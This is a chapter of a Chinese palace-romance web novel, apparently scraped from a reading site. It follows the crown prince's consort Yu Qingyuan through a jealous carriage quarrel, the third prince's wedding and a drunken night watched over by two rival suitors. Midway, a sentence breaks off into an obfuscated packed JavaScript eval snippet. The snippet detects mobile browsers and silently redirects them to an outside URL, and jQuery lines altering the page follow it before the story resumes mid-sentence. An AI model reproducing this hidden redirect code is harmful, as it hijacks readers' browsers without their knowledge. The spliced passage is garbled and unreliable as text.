飞速思索之下,虞卿元还是上了太子的马车,她如今名义上还是太子妃。
她看见太子斜睨了眼项凛予,甚是傲慢,一时之间,没注意脚下有颗石子,正当她以为要崴脚时,身体却被人稳稳托住。
她回过神,瞥见扶住她腰的那支粗壮有力的手臂,再抬头,原来是项凛予。
项凛予蹙眉,满脸担忧:“怎么不小心些?”
还没等虞卿元回话,太子一把夺过虞卿元,死死将她固在怀中,额头的青筋若隐若现:“项凛予,你别太过分!”
虞卿元被他禁锢,都快要喘不上气,但还是轻轻推开他,解释道:“太子殿下息怒,我们快上马车吧。”
太子用力地摆了摆衣袖,愤然道:“若不是今日三皇兄大婚,我定治你的罪。”
项凛予沉默地看他上了马车,虞卿元不敢再看自己,头也不回地跟上去了。
虞卿元坐在太子身旁,只是盯着车帘,她知道到太子殿下还在生气,缓缓开口:“太子殿下,我与项将军,并无瓜葛。”
太子沉默着,听见她说的话,想起刚刚的场景,心中的怒火越烧越旺,原本规规矩矩放在膝盖上的手紧紧握成了拳,虞卿元虽与他坐在一处,可却侧身对他,自己也看不见她什么神情,为什么?为什么总与别的男人有染?
想到这里,他伸出手,迅速捏住她的下巴,让她的脸对着自己,她的唇也近在咫尺。他问:“若无瓜葛,他为什么总对你这么上心?”
虞卿元吃痛,紧紧锁着眉:“太子殿下不也原本打算要娶我为侧妃吗?若当真这么介意,不如退亲吧。”
太子没想到她又提了退亲一事,他突然冷静了下来,松开捏住她下巴的手,微微喘着气,又小心翼翼地将她拥入怀中:“不要…我只是害怕,害怕你离开我,我真的爱你,可是皇权,我不能不要。”
虞卿元听见他软了声音,却慢慢推开他:“太子殿下,我不愿做妾。虞家对你毫无助力,只会是拖累,不如皇后侄女身份显赫,她的家族也能成为你的左膀右臂。”
太子眉头不展,摇头:“我不需要虞家给我什么,她当正妃也只是我的谋划,你永远是我最爱的人,无论有没有她,我都只爱你一人,我只会把你当做我的妻子,我没有违背承诺,我心里始终只有你一人。”
虞卿元苦笑一声,只觉得他的话自欺欺人,她沉默地点了点头。
太子不明白她的心思,又问道:“别再提退亲了,好吗?”
他看见虞卿元不说话,只是垂眸点了点头,才放下心来,又把她抱进怀里,在她额头出留下一吻,喃喃道:“别离开我。”
虞卿元靠在他怀中,太子如此偏执,在这逼仄的马车里,只有他们二人,她也只能答应,暗处,她紧紧握住双拳,不再回应一声,她早已下定决心之事,绝不会因为男人三言两语的哄骗而改变。
终于到了三皇子府,爆竹声入耳,与马车中的死气沉沉截然相反,这里张灯结彩喜气洋洋。
太子先下了马车,她原以为他跟之前一样早已向外走去,没想到等她掀开车帘,太子竟在阶下等她,还伸出手准备扶她。
可她已经不需要了,她假意笑着扶住他的手,却没借他的力,稳稳走下马车。
众人见到太子和太子妃前来,纷纷行礼,一群人跪拜,只有他们二人站在中央,原来这就是权利的滋味。
太子抬起手,笑道:“各位大人请起,今日我三哥大喜之日,就不必多礼了。”
正好这时,宇文庸在远处骑着马儿缓缓走来,胸口带着红绸花,意气风发,只是在看见虞卿元的一瞬间,笑容僵在了脸上,随即又恢复如常。
众人的目光被这场面吸引,太子殿下却看见站在角落的项凛予只盯着自己的方向,他死死拉着虞卿元的手,仿佛生怕她跑了一样。
宇文庸下马,扶着盛装出席的令狐倾,仔细地给她整理微皱的衣摆,将她的手,放在自己的手臂上。
令狐倾挡在团扇后面的粉红面庞,微微一笑。
众人纷纷贺喜,都有些风流公子道三皇子真是好福气,娶了如此可人儿。
令狐倾被送入洞房,等那群人散去,宇文庸也出去应酬,这才松了口气。
她把扇子放下,心里却是高兴的。三皇子这些日子对她无微不至,她什么要求都会统统答应,想来日后定能与他举案齐眉,生下好多孩儿,幸福一生。
身旁的丫鬟却蹙眉道:“皇妃,您没看见太子妃也来了吗?”
令狐倾不以为意道:“你也说了,她是太子妃,日后她与我们三皇子府便毫无干系了,甚至,还是敌对关系。”
那丫鬟又说:“上次在布庄,他们二人举止亲密…”
令狐倾终于不再忍耐,打断道:“从前是从前,现在是现在,你不要再说了。殿下既已答应我父亲会好好待我,他就是会言出必行的人,此事,以后都不要再提!”
“…是。”丫鬟道。
宇文庸出去敬酒,不知喝了多少,走路都有些晃悠了,他最早敬完太子,眼神总是不自觉往虞卿元那边飘去。
虞卿元被一堆贵女们围着,那些人都想与她打好关系,甚至都有人问她虞三公子和虞四公子婚否?直言都想嫁。
虞卿元没见过这阵仗,也被灌了好些酒,那群千金小姐们看着娇小玲珑,一个个怎么这么能喝,几杯下肚,她连酒味都尝不出来了,只是举着酒杯:“哈哈,尽兴尽兴。”
最后人都快走了,她还抱着酒不撒手,太子原本想送她回家,身边的侍卫却突然来报,他警惕地看了眼周围,见无人在意他,加紧步伐跟着侍卫离开了。
项凛予看见太子离开,确定他一时半会不会回来,才走向虞卿元。
他拿走她的酒杯,微微蹙眉,柔声道:“喝这么多做甚?”
虞卿元却笑嘻嘻地说:“宇文庸成亲,我高兴!俊男美女,天赐良缘…”说着说着,却突然哭起来:“太子…太子他…呜呜……”
项凛予瞬间心里一紧,他知道今日太子与她在马车上,定起了冲突。他见她瘫软在桌子上,只得将她打横抱起,没走几步,却撞上迎面而来的宇文庸。
宇文庸垂眸见他怀里的人红着脸,却抬起下巴笑了一声,看不清眼里的神情,他将手背在身后,装得一副彬彬有礼的模样:“客房在后面,我派人带你们去。”
宇文庸看着项凛予抱着她离开,原本已经烧得慌的嗓子又觉得干,又将手中的酒一饮而尽,自己若登不上皇位,或许虞卿元只能花落他手。
他到底是心不甘情不愿,于是又命人送了碗醒酒汤过去,他回头一看,有个下人模样的影子一闪而过,他摇了摇脑袋,以为是看花了眼。
项凛予跟着侍从来到客房,将虞卿元轻轻放下,她喝的伶仃大醉,路都走不稳,这如何送她回家?只能先在三皇子府上醒醒酒了。
虞卿元拉着他的胳膊不撒手,眼睛迷迷糊糊的,盯着看了一会,才看清面前的人是项凛予,她喊着他的名字:“项凛予……”
他闻言,迅速接过下人送来的醒酒汤,又把她扶起来,一直胳膊被她缠住,只能小心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305651|182822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地将勺子喂到她嘴边:“我在,来,把醒酒汤喝了。”
虞卿元乖乖喝下,仍是不肯松手,却突然嘴角向下,一副快哭了的表情:“他们都欺负我,都欺负我。”
项凛予皱眉:“谁?太子吗?”
虞卿元点点头:“不止他,还有宇文庸!我一弱女子,家族又无地位,只能任人摆布,我也不想这样的,我也不想的。”
项凛予自然明白她说的意思,她不想陷害太子,可既然已经做出选择,就没有回头路。他安慰道:“没关系,你还有我。”
虞卿元睁大了眼睛,又道:“若我真的退亲,东京城内是没有人敢要我的…我只能孤独终老了。”
项凛予反握住她的手:“若到那时候,我定抓住一切机会,娶你为妻。”
看着虞卿元没能将醒酒汤喝完,还没回复自己,就直接不省人事地倒在床上,他也不知道她有没有听到,他叹了口气,却不愿意通报太子让太子把她带回去,既然都要退亲了,他还怕太子干什么?
正当他准备带着虞卿元离开时,宇文庸却突然找到这里来,他站在门口,笑道:“骞慎。”
项凛予回过头,看着宇文庸稳稳站在此处,疑惑道:“你没喝醉?”
宇文庸勾起嘴角:“我千杯不醉,你忘了?你和太子两个人都喝不过我。”他又笑道:“你想娶虞卿元为妻?”
项凛予愣在原地,虞卿元没听到的话,宇文庸却听了个一清二楚,他瞬间警惕地看着宇文庸。
宇文庸走了进来,自嘲道:“我如今已娶妻成家,我娶不了她了。”
项凛予仍然没有放松,站起身,将虞卿元护在身后,自己才不会相信宇文庸说的这些鬼话,若他登上皇位,谁知他会不会强取豪夺?
宇文庸看出他的顾虑:“国相之女,我休不得。你看虞卿元那性子,又怎可甘愿为妾?她也未必见得心悦于我,你担心什么呢?”
宇文庸又道:“我来找你,有别的事。”
……
项凛予听完他说的事,紧紧皱着眉:“西京那边,早已有谋逆之心?”
“嗯,而且不是端王。”宇文庸看着项凛予,这是他让自己查的事,虽然也不知他是何用意,但他既然说此事可能会伤害到虞卿元,自己定不遗余力。
二人对视瞬间,心领神会。
项凛予离开了,宇文庸将房门锁上,这屋子里现在只有他与虞卿元二人。
他突然想起什么,有些不对劲,他记得虞卿元跟自己说过,她喝千里醉好几壶都放不倒,家中准备的酒可没千里醉烈啊,她怎么喝成这样?
虞卿元翻了个身,宇文庸叹了口气,轻轻坐在她身边,看着她垂下来的手,好像受到蛊惑一般,他轻轻拉住,不自觉微笑道:“我真的…无可救药。”
他真的担心她,他真的在乎她。
连新婚的妻子都不想管,他只想借着理由与她在一处,利用也好,真心也罢,有那么重要吗?
她是太子妃,他看着太子殿下竟不顾着与他争夺皇位,还是要娶一个无权无势之女为妻,他就明白虞卿元在太子心中的地位,他无奈地摇了摇头,或许从镇江回来,他的心就已经不受控制了。
自己原本是想利用虞卿元,让项凛予与太子决裂,好让项凛予与他站在一处,有了项凛予,等于有了京城的兵权。可他没想到自己却以身犯险,他不在隐藏自己的真心,竟将情意暴露,摆在了明面,被项凛予发现,被太子顾虑,他却难得坦荡。
他借着酒意放纵,将嘴唇覆上了虞卿元的手。